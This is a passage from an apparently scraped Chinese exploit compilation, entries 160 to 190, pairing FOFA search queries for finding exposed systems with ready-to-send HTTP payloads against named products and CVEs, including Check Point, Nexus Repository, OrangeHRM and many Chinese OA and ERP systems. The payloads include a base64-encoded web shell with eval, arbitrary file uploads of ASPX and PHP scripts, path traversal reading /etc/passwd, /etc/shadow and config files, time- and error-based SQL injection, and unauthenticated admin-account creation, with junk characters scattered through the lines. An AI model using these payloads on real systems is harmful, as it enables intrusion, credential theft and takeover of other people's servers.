<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
. a2 U' J- f: ^4 o( @0 k, o  Q9 R<vcode>1</vcode>
- D0 G& N+ B; }6 v5 Z$ |* O<subFolder></subFolder>
. q$ N& Y3 R8 M# K" r<fileName>abcrce.asmx</fileName>
- P) f* D% E. a) \* E+ r<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
1 m% \/ N, ]" T- {, b</jobUpload>
) M0 D+ V" @& ~3 Q. b</soap:Body>
</soap:Envelope>

+ R6 p3 J7 Q$ x5 {* N
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
8 c& [2 k( B! b; nUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
) l9 I3 R: t- v3 J; t* |Connection: close
; i, h. A1 q% t! ]1 M% HAccept: */*
Accept-Language: en
Accept-Encoding: gzip
& D; R& ?4 k$ L$ x  Z3 X
/ @' L7 g7 ]2 L8 T( q+ ^
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
. ]! k7 Y) P9 A* V. p第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
+ B) |+ W& b" h8 DPOST /Webservice.asmx HTTP/1.1
4 s4 j% h3 ]! X# fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
4 g; c8 Z7 c8 A3 PConnection: close
# Q4 m5 q7 W9 oContent-Length: 445
Content-Type: text/xml
7 r/ C/ l7 m& v2 m8 Y) pAccept-Encoding: gzip
4 o! ?' |! K0 e3 G
+ c9 Q0 F, j/ P<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
5 o) M' g4 D, Z6 v9 x+ |( v. w4 w! C<soap:Body>
% l  `- G3 ^! Q$ C* ?<UploadResume xmlns="http://tempuri.org/">
0 M$ H. V; u) u! i<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
9 ~  {' h5 t. {6 {5 V+ U</UploadResume>
% [9 U  W& F3 V' O& s</soap:Body>
</soap:Envelope>

" ^0 D$ [+ _3 ?
http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
! j9 B" p* b5 t! h7 lFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
: ~! {; J/ {( R0 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
( ^! d) Q' w; S3 P& H/ r' tConnection: close
/ o6 z& J9 e: l# c( xContent-Length: 583
! ^9 {* x1 D4 ]3 |0 x. FContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
: |* I7 |) e9 u. v. AAccept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
* I) p. @0 B! {/ `6 A- ZContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
+ @* Y1 G" v  \. [5 t8 h
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

6 \) T; e3 b* b+ iupload
8 I8 `( R8 w" Y5 |. b------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

  f* m5 N3 p6 f# {3 zResourceNewResponder
4 c# R* ^) d% M: p------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

" N' Y, h% T$ }5 T/opt/resources
7 @! l- r" I! S3 y" |* N: x------WebKitFormBoundaryeegvclmyurlotuey--
2 M$ P$ A3 H( W
) D7 q6 p; X: D; e" V2 L
. v! @% ~. V. r* @http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
! A# u( A3 B0 @POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
' d: J& R! M$ v3 v& m: dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
7 k; }, P. ^1 T% Y; g: c0 VConnection: close
Content-Length: 293
3 c4 {: [1 f2 H# ^Accept: */*
Accept-Encoding: gzip, deflate
: ^4 f- S' m! Z! |8 QAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
/ ~$ N0 M: {$ J6 t0 z, lContent-Disposition: form-data; name="name"

1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
4 ~5 z- \8 A+ a9 o- D5 C" R

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
0 n' ]) q5 _! g2 D. L( E5 E- ?! Q' fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
5 p6 R. T7 e' L7 S4 OAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
; k& K: i' D+ ^* m5 iContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
$ z! N# S! g4 _: [$ v
( |. f& h6 ~* M8 U' `4 V! y) I$ S------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
9 L! ?, Y/ S+ l8 qContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


% {( r) K8 Z  m1 Mhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
$ m! W- k! j. r# o
# a- S& g& ]/ q# c* Q165. OrangeHRM 3.3.3 SQL 注入
2 ]" y3 Z3 O# j- @  i# M: ]CVE-2024-36428
3 n# W" a, z4 u# K7 A# u9 ]FOFA: app="OrangeHRM-产品"
* m* e5 `( S7 P9 \) PURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
+ h; U0 Y  O. E$ E2 E6 I/ j2 z; i
+ a) ^1 \  Q* _! K% Q) C6 n: h& j
166. 中成科信票务管理平台SeatMapHandler SQL注入
' v8 Z9 o( F  |! N0 {FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
+ k$ [: x4 a/ P3 f+ \2 N: CHost:
Pragma: no-cache
Cache-Control: no-cache
, B, O1 c. ?2 I  w1 v- O7 ]$ R* qUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
/ M, N5 r+ ~2 s( WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ h" g: Y, R9 U- l( b7 ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
; i7 O% s' k6 J( w3 ]: S' jConnection: close
Content-Type: application/x-www-form-urlencoded
3 [( C6 M3 V% hContent-Length: 89
2 f3 p" ^* |: k# _5 r
7 h( L: W( Q: P5 A" z* HMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

: B5 j# a- d) f( Y% ]% |2 G
6 K% ?. z. B. y1 q/ q167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
2 j( b* E1 g. U: C4 f4 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( l5 F. j! L5 ]: d* x7 F  B+ E  qContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
5 O9 @* `8 m7 OConnection: keep-alive
- D" K( O' c1 }; Q; ~2 ^

0 _& _) Y7 @5 \3 o! L% f% M168. 宏景EHR OutputCode 任意文件读取
, _1 d) L5 v. F8 }7 X0 dFOFA：app="HJSOFT-HCM"
6 D+ e0 e# M: CGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
# G. b3 i1 P. J0 VHost: your-ip
4 b& |  a. f& e. ^/ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
  ]9 _8 P3 J( H+ d9 }  j4 rContent-Type: application/x-www-form-urlencoded
) _& u) C1 k+ _Connection: close

; n  ^2 O! x( f2 o
+ H- w/ a9 o4 z4 n2 b/ D6 d
- C4 ^) g/ ?. q4 I- M169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
: `2 e9 D% _4 VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
! a1 \& k# y, D' {& ?3 LConnection: close
5 U5 k5 W4 r8 n2 e: m
2 g) X3 T3 Q- ?$ h! ^' Z3 Q4 n

4 ^$ i, k5 s! y- ~# K* G4 z( i- T170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
, |$ q/ Y1 }7 Y% ?! R" x9 HPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" u4 q- F$ V* ~' B9 K' }( GContent-Type: application/x-www-form-urlencoded

( J8 d, H/ m5 N- g! M: o2 U2 Dfilename=../webapps/ROOT/WEB-INF/web.xml


( B3 y" ^0 E! r" z2 ?171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
: ~2 o' X3 x; [& y5 E+ XAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close



' _2 y" f" c, t2 v$ P172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
% p+ s0 C  e7 d, t& C- N# @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# U, ?4 J4 j7 |  q5 w) HAccept-Encoding: gzip, deflate
. n5 o9 \( D" w4 b. yAccept: */*
Connection: keep-alive
' h( L6 l! {  Z! f* k9 d0 t# i" W& c


173. Check Point 安全网关任意文件读取
, Y* k& e2 K) T1 pCVE-2024-24919
, G2 }6 ]/ i5 V% N6 F0 m# a# @FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
. c1 y; t# e& |9 EHost: your-ip
Content-Type: application/x-www-form-urlencoded

- G8 f1 w& ~. A% |1 P1 eaCSHELL/../../../../../../../etc/shadow



174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
5 E+ m7 t8 J9 u7 }( T6 YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' N* g) z4 i# O* P. ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! P% X5 N. S& h- o7 FAccept-Encoding: gzip, deflate, br
3 m' c! D2 K9 y+ X, f% L+ wAccept-Language: zh-CN,zh;q=0.9
Connection: close
  G  i+ s/ O+ G+ p
8 R. A7 t7 b1 B; g' ^

# v. `+ \. S' K3 d& O7 X175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
2 ]; _6 m1 |* k' Z# \6 L# RGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% l7 {' o- k; c- d, jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 x0 Z/ S# e* J! ]8 ZAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
. o, D$ ?! f6 t; v5 p8 H

176. 电信网关配置管理系统 rewrite.php 文件上传
( U# E6 p, c3 \/ R3 i! g% D; gFOFA：body="img/login_bg3.png" && body="系统登录"
, N6 Y6 u3 z9 @8 Q2 M) F9 n6 m, NPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
, H- D5 f  k  c. u( Q8 }: gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

. ~1 n6 Z/ p, j------WebKitFormBoundaryOKldnDPT
: q' M! f" j4 ~Content-Disposition: form-data; name="tmp_name"; filename="test.php"
* r$ @2 Y7 \, J# k4 m% D" F! mContent-Type: image/png
& P$ }2 W1 f" {" S+ V' D6 M. s
<?php system("cat /etc/passwd");unlink(__FILE__);?>
7 T/ c+ R% B% t! t3 S4 s( \2 k------WebKitFormBoundaryOKldnDPT
6 m9 r+ t% B: g5 WContent-Disposition: form-data; name="uploadtime"

) u- L+ q7 W  r% D) z( [8 N. g
------WebKitFormBoundaryOKldnDPT--
  a0 b0 P4 V- B4 g, z


6 ^, e2 `+ ]" i* T1 {/ c* n  J177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
" \. O. p0 \/ _/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
5 b6 j( j( b! A7 R% F1 b" n/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
9 v4 g  ]" B, e3 W. m* L! M/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
- ]7 c3 x, d3 l  ~6 o; a1 d/ [/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
2 f7 Y' l1 U/ W; g  j' n/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
. I$ g+ _" p2 }' C9 s/userLogin.asp/../actionpolicy_status/../ER3100.cfg
# C" A! ^: _! J/ Y2 W2 D) j. B/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


2 n( I' G# S7 A5 g/ Q9 g5 C* |4 F: D& u178. H3C校园网自助服务系统-flexfileupload-任意文件上传
1 ^/ e; @) c5 b# n; YFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
. d' B9 P$ c# m& s5 K2 S/ m( _Content-Length: 252
Accept-Encoding: gzip, deflate
* B8 n9 P4 M& z. K6 QConnection: close
: R0 M9 U. a) ]+ U* _7 `5 _Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
9 u4 j) Y" m# B7 ?; \/ RContent-Disposition: form-data; name="12234.txt"; filename="12234"
+ }* v# N+ ^; SContent-Type: application/octet-stream
Content-Length: 255
% V, p; A  d$ ~! B% j' c
4 V/ J: K  ?, {  s12234
-----------------aqutkea7vvanpqy3rh2l--
4 v; f- [( @9 W' Q2 v

GET /imc/primepush/%2e%2e/flex/12234.txt

0 T5 [- w( r3 P2 h" d0 z
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
; Y4 Y9 e$ w$ m9 UHost: {{Hostname}}
( j1 `* T* p! h, `Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
: A7 d1 ]7 X2 u# H* h5 R
( B4 K9 r$ u; D% g. P2 dpath=../log4net.config&Name=


# H( [0 f5 U4 `0 Q, [180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
$ W. ~3 U6 A! N& g. j4 aGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 c9 m0 E  O6 DAccept-Encoding: gzip, deflate
9 I) v" w: Z3 o+ W( QAccept-Language: zh-CN,zh;q=0.9
* }# m; g- A+ z- XConnection: close
* F3 O* }8 V3 F/ Y# e* N" ?

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
' q( T2 I" N& G% G. m& EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
# V& j) ~6 I; G/ J4 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 k! }. Q' y9 i3 _5 s5 K% UAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

7 C, a  V4 Y, _9 ?& o* [
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
8 D0 Q8 U8 B. r* t" X6 iFOFA："PDCA/js/_publicCom.js"
5 G7 d, \1 `+ `  c$ V& W  M( dPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
, \- o) Z- C  {$ p% v# ~( }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
$ Z/ I' l, h1 `6 F# J' aAccept-Language: zh-CN,zh;q=0.9
* j: C. G- x& a9 x8 b- dConnection: close
+ P& R/ [' k7 `( ^4 m; ^; FContent-Type: application/x-www-form-urlencoded
" l- F. g: Z& Y% B! I& F

username=test1234&pwd=test1234&savedays=1
. w+ ?/ `( R* V3 H

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
7 c. D% d. t6 S1 W; G2 TGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
! f# T1 S3 M- v7 A4 `6 WUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
% Y" \$ ?) {  L" Y4 p# |Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
; b2 Y" B9 o# n7 q4 P: R' U2 R' r

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
! n% v" w+ @* j7 U# wFOFA：server="SunFull-Webs"
4 L* o5 E  j7 A( g( \, ~POST /soap/AddUser HTTP/1.1
* g. Y: r9 h7 }6 THost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
- y; u: M( y: ]" {3 u9 J2 `Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ s* l% I' w2 z7 ~) |X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

. _, ^( x! X6 S# o
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
3 o% S" U3 l: l' |$ BFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
/ W2 y; F+ n. h7 k9 JHost: host
- ?' h3 A- v" y6 B7 M) o" H
! l+ A4 I$ K  h! V1 g7 w3 g9 O% O
6 b, u& V! I; b( G3 y186. F-logic DataCube3 SQL注入
CVE-2024-31750
1 U. c3 }! J6 P& H. xF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
; {; E7 _- m/ u7 A# XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
  t/ `' o7 a/ c. w* VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
1 ~* _6 R1 T. a/ ]  nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
/ ?' _8 a: c2 h* s+ A: NContent-Type: application/x-www-form-urlencoded

5 {( H- p* w3 b+ d) p$ {req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


; {- e( C: n7 g8 P$ ~187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

- F* ?5 C! ~/ s( |+ k; |
# C0 z) ^. p5 m* hobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

3 x7 o) X/ E! r$ j9 {& u$ q( r
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
/ C' s# E, O, BFOFA：body="/system/get_rtc_user_defined_info?site_id"
; w5 w3 Q/ \: k/ ZGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. W9 C8 b' z0 d& b) f! d- IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
' g/ {  ]% `- H) @% ^Connection: close

1 X- t5 ~7 e& Z) r5 V
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
, a; O3 u/ r7 @4 z/ o" nFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
: \, T  b: o2 v: ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ c9 h" J8 A( y( SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 O" V/ H# o5 V' g) _$ x. [
+ n. N3 k& y) h6 ?+ N
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
# v1 i4 y" J3 |& u' |! pFOFA：title=="短视频矩阵营销系统"
2 t7 U! W" b5 wPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
